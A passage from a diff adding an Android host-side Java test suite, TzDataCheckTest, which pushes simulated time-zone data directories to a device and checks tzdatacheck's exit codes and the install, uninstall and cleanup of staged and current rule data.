+ * binary operated correctly.
+ *
+ * <p>Most of the tests below prepare simulated directory structure for the system and data dirs
+ * on the host before pushing them to the device. Device state is then checked rather than syncing
+ * the files back.
+ */
+public class TzDataCheckTest extends DeviceTestCase {
+
+    /**
+     * The name of the directory containing the current time zone rules data beneath
+     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+     * tzdatacheck.cpp.
+     */
+    private static final String CURRENT_DIR_NAME = "current";
+
+    /**
+     * The name of the directory containing the staged time zone rules data beneath
+     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+     * tzdatacheck.cpp.
+     */
+    private static final String STAGED_DIR_NAME = "staged";
+
+    /**
+     * The name of the file inside the staged directory that indicates the staged operation is an
+     * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+     * tzdatacheck.cpp.
+     */
+    private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
+
+    /**
+     * The name of the /system time zone data file. Also known to
+     * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+     */
+    private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+
+    /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
+    private static final String RULES_VERSION_ONE = "2016g";
+    /** A valid time zone rules version guaranteed to be newer than {@link #RULES_VERSION_ONE} */
+    private static final String RULES_VERSION_TWO = "2016h";
+    /**
+     * An arbitrary, valid time zone rules version used when it doesn't matter what the rules
+     * version is.
+     */
+    private static final String VALID_RULES_VERSION = RULES_VERSION_ONE;
+
+    /** An arbitrary valid revision number. */
+    private static final int VALID_REVISION = 1;
+
+    private String mDeviceAndroidRootDir;
+    private PathPair mTestRootDir;
+    private PathPair mSystemDir;
+    private PathPair mDataDir;
+
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // It's not clear how we would get this without invoking "/system/bin/sh", but we need the
+        // value first to do so. It has been hardcoded instead.
+        mDeviceAndroidRootDir = "/system";
+
+        // Create a test root directory on host and device.
+        Path hostTestRootDir = Files.createTempDirectory("tzdatacheck_test");
+        mTestRootDir = new PathPair(
+                hostTestRootDir,
+                "/data/local/tmp/tzdatacheck_test");
+        createDeviceDirectory(mTestRootDir);
+
+        // tzdatacheck requires two directories: a "system" path and a "data" path.
+        mSystemDir = mTestRootDir.createSubPath("system_dir");
+        mDataDir = mTestRootDir.createSubPath("data_dir");
+
+        // Create the host-side directory structure (for preparing files before pushing them to
+        // device and looking at files retrieved from device).
+        createHostDirectory(mSystemDir);
+        createHostDirectory(mDataDir);
+
+        // Create the equivalent device-side directory structure for receiving files.
+        createDeviceDirectory(mSystemDir);
+        createDeviceDirectory(mDataDir);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        // Remove the test root directories that have been created by this test.
+        deleteHostDirectory(mTestRootDir, true /* failOnError */);
+        deleteDeviceDirectory(mTestRootDir, true /* failOnError */);
+        super.tearDown();
+    }
+
+    public void testTooFewArgs() throws Exception {
+        // No need to set up or push files to the device for this test.
+        assertEquals(1, runTzDataCheckWithArgs(new String[0]));
+        assertEquals(1, runTzDataCheckWithArgs(new String[] { "oneArg" }));
+    }
+
+    // {dataDir}/staged exists but it is a file.
+    public void testStaging_stagingDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        Files.write(dataStagedDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+        // than delete.
+        assertDevicePathExists(dataStagedDir);
+        assertDevicePathIsFile(dataStagedDir);
+    }
+
+    // {dataDir}/staged exists but /current dir is a file.
+    public void testStaging_uninstall_currentDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        createStagedUninstallOnHost(dataStagedDir);
+
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
+    public void testStaging_uninstall_noCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        createStagedUninstallOnHost(dataStagedDir);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/staged contains an uninstall, and there is something to uninstall.
+    public void testStaging_uninstall_withCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        createStagedUninstallOnHost(dataStagedDir);
+
+        // Create a current installed distro.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] distroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/staged exists but /current dir is a file.
+    public void testStaging_install_currentDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged install.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] distroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataStagedDir, distroBytes);
+
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "installed" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/staged contains an install, but there is nothing to replace.
+    public void testStaging_install_noCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged install.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "installed" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+    }
+
+    // {dataDir}/staged contains an install, and there is something to replace.
+    public void testStaging_install_withCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        DistroVersion currentDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 1);
+        DistroVersion stagedDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 2);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] stagedDistroBytes = createValidDistroBuilder()
+                .setDistroVersion(stagedDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+        // Create a current installed distro.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] currentDistroBytes = createValidDistroBuilder()
+                .setDistroVersion(currentDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "installed" state.
+        // The stagedDistro should now be the one in the current dir.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+    }
+
+    // {dataDir}/staged contains an invalid install, and there is something to replace.
+    // Most of the invalid cases are tested without staging; this is just to prove that staging
+    // an invalid distro is handled the same.
+    public void testStaging_install_withCurrent_invalidStaged() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall which contains invalid.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] stagedDistroBytes = createValidDistroBuilder()
+                .clearVersionForTests()
+                .buildUnvalidatedBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+        // Create a current installed distro.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. The staged directory will have become the
+        // current one, but then it will be discovered to be invalid and will be removed.
+        assertEquals(3, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // No {dataDir}/current exists.
+    public void testNoCurrentDataDir() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Deliberately not creating anything on host in the data dir here, leaving the empty
+        // structure.
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+    }
+
+    // {dataDir}/current exists but it is a file.
+    public void testCurrentDataDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(2, runTzDataCheckOnDevice());
+
+        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+        // than delete.
+        assertDevicePathExists(dataCurrentDir);
+        assertDevicePathIsFile(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but is missing the distro version file.
+    public void testMissingDataDirDistroVersionFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
+                .clearVersionForTests()
+                .buildUnvalidatedBytes();
+        unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(3, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version file is short.
+    public void testShortDataDirDistroVersionFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+        // Replace the distro version file with a short file.
+        Path distroVersionFile =
+                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+        assertHostFileExists(distroVersionFile);
+        Files.write(distroVersionFile, new byte[3]);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(3, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists and the distro version file is long enough, but contains junk.
+    public void testCorruptDistroVersionFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+
+        // Replace the distro version file with junk.
+        Path distroVersionFile =
+                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+        assertHostFileExists(distroVersionFile);
+
+        int fileLength = (int) Files.size(distroVersionFile);
+        byte[] junkArray = new byte[fileLength]; // all zeros
+        Files.write(distroVersionFile, junkArray);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(4, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is incorrect.
+    public void testInvalidMajorDistroVersion_older() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion oldMajorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION - 1, 1, VALID_RULES_VERSION, 1);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(oldMajorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(5, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is incorrect.
+    public void testInvalidMajorDistroVersion_newer() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion newMajorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION + 1,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                VALID_RULES_VERSION, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(newMajorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(5, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is incorrect.
+    public void testInvalidMinorDistroVersion_older() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion oldMinorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION - 1,
+                VALID_RULES_VERSION, 1);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(oldMinorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(5, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is newer (which is accepted because it should
+    // be backwards compatible).
+    public void testValidMinorDistroVersion_newer() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion newMajorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION + 1,
+                VALID_RULES_VERSION, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(newMajorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/current is valid but the tzdata file in /system is missing.
+    public void testSystemTzDataFileMissing() throws Exception {
+        // Deliberately not writing anything in /system here.
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, validDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(6, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+    }
+
+    // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
+    public void testSystemTzDataFileCorrupt() throws Exception {
+        // Set up the /system directory structure on host.
+        byte[] invalidTzDataBytes = new byte[20];
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, validDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(7, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+    }
+
+    // {dataDir}/current is valid and the tzdata file in /system is older.
+    public void testSystemTzRulesOlder() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        // Newer than RULES_VERSION_ONE in /system
+        final String distroRulesVersion = RULES_VERSION_TWO;
+        DistroVersion distroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, distroRulesVersion, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(distroVersion)
+                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
+    public void testSystemTzDataSame() throws Exception {
+        // Set up the /system directory structure on host.
+        final String systemRulesVersion = VALID_RULES_VERSION;
+        createSystemTzDataFileOnHost(systemRulesVersion);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion distroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, systemRulesVersion, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(distroVersion)
+                .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/current is valid and the tzdata file in /system is the newer.
+    public void testSystemTzDataNewer() throws Exception {
+        // Set up the /system directory structure on host.
+        String systemRulesVersion = RULES_VERSION_TWO;
+        createSystemTzDataFileOnHost(systemRulesVersion);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
+        DistroVersion distroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                distroRulesVersion,
+                VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(distroVersion)
+                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // It is important the dataCurrentDir is deleted in this case - this test case is the main
+        // reason tzdatacheck exists.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
+        byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+    }
+
+    private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
+        createHostDirectory(stagedDir);
+
+        PathPair uninstallTombstoneFile = stagedDir.createSubPath(UNINSTALL_TOMBSTONE_FILE_NAME);
+        // Create an empty file.
+        new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
+    }
+
+    private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
+        createHostDirectory(path);
+        new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
+    }
+
+    private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
+        String distroRulesVersion = VALID_RULES_VERSION;
+        DistroVersion validDistroVersion =
+                new DistroVersion(
+                        DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                        DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                        distroRulesVersion, VALID_REVISION);
+        return new TimeZoneDistroBuilder()
+                .setDistroVersion(validDistroVersion)
+                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+                .setIcuDataFile(new byte[10]);
+    }
+
+    private static byte[] createValidTzDataBytes(String rulesVersion) {
+        return new ZoneInfoTestHelper.TzDataBuilder()
+                .initializeToValid()
+                .setHeaderMagic("tzdata" + rulesVersion)
+                .build();
+    }
+
+    private int runTzDataCheckOnDevice() throws Exception {
+        return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
+    }
+
+    private int runTzDataCheckWithArgs(String[] args) throws Exception {
+        String command = createTzDataCheckCommand(mDeviceAndroidRootDir, args);
+        return executeCommandOnDeviceWithResultCode(command).statusCode;
+    }
+
+    private static String createTzDataCheckCommand(String rootDir, String[] args) {
+        StringJoiner joiner = new StringJoiner(" ");
+        String tzDataCheckCommand = rootDir + "/bin/tzdatacheck";
+        joiner.add(tzDataCheckCommand);
+        for (String arg : args) {
+            joiner.add(arg);
+        }
+        return joiner.toString();
+    }
+
+    private static void assertHostFileExists(Path path) {
+        assertTrue(Files.exists(path));
+    }
+
+    private String executeCommandOnDeviceRaw(String command) throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand(command);
+    }
+
+    private void createDeviceDirectory(PathPair dir) throws DeviceNotAvailableException {
+        executeCommandOnDeviceRaw("mkdir -p " + dir.devicePath);
+    }
+
+    private static void createHostDirectory(PathPair dir) throws Exception {
+        Files.createDirectory(dir.hostPath);
+    }
+
+    private static class ShellResult {
+        final String output;
+        final int statusCode;
+
+        private ShellResult(String output, int statusCode) {
+            this.output = output;
+            this.statusCode = statusCode;
+        }
+    }
+
+    private ShellResult executeCommandOnDeviceWithResultCode(String command) throws Exception {
+        // A file to hold the script we're going to create.
+        PathPair scriptFile = mTestRootDir.createSubPath("script.sh");
+        // A file to hold the output of the script.
+        PathPair scriptOut = mTestRootDir.createSubPath("script.out");
+
+        // The content of the script. Runs the command, capturing stdout and stderr to scriptOut
+        // and printing the result code.
+        String hostScriptContent = command + " > " + scriptOut.devicePath + " 2>&1 ; echo -n $?";
+
+        // Parse and return the result.
+        try {
+            Files.write(scriptFile.hostPath, hostScriptContent.getBytes(StandardCharsets.US_ASCII));
+
+            // Push the script to the device.
+            pushFile(scriptFile);
+
+            // Execute the script using "sh".
+            String execCommandUnderShell =
+                    mDeviceAndroidRootDir + "/bin/sh " + scriptFile.devicePath;
+            String resultCodeString = executeCommandOnDeviceRaw(execCommandUnderShell);
+
+            // Pull back scriptOut to the host and read the content.
+            pullFile(scriptOut);
+            byte[] outputBytes = Files.readAllBytes(scriptOut.hostPath);
+            String output = new String(outputBytes, StandardCharsets.US_ASCII);
+
+            int resultCode;
+            try {
+                resultCode = Integer.parseInt(resultCodeString);
+            } catch (NumberFormatException e) {
+                fail("Command: " + command
+                        + " returned a non-integer: \"" + resultCodeString + "\""
+                        + ", output=\"" + output + "\"");
+                return null;
+            }
+            return new ShellResult(output, resultCode);
+        } finally {
+            deleteDeviceFile(scriptFile, false /* failOnError */);
+            deleteDeviceFile(scriptOut, false /* failOnError */);
+            deleteHostFile(scriptFile, false /* failOnError */);
+            deleteHostFile(scriptOut, false /* failOnError */);
+        }
+    }
+
+    private void pushHostTestDirToDevice() throws Exception {
+        assertTrue(getDevice().pushDir(mTestRootDir.hostFile(), mTestRootDir.devicePath));
+    }
+
+    private void pullFile(PathPair file) throws DeviceNotAvailableException {
+        assertTrue("Could not pull file " + file.devicePath + " to " + file.hostFile(),
+                getDevice().pullFile(file.devicePath, file.hostFile()));
+    }
+
+    private void pushFile(PathPair file) throws DeviceNotAvailableException {
+        assertTrue("Could not push file " + file.hostFile() + " to " + file.devicePath,
+                getDevice().pushFile(file.hostFile(), file.devicePath));
+    }
+
+    private void deleteHostFile(PathPair file, boolean failOnError) {
+        try {
+            Files.deleteIfExists(file.hostPath);
+        } catch (IOException e) {
+            if (failOnError) {
+                fail(e);
+            }
+        }
+    }
+
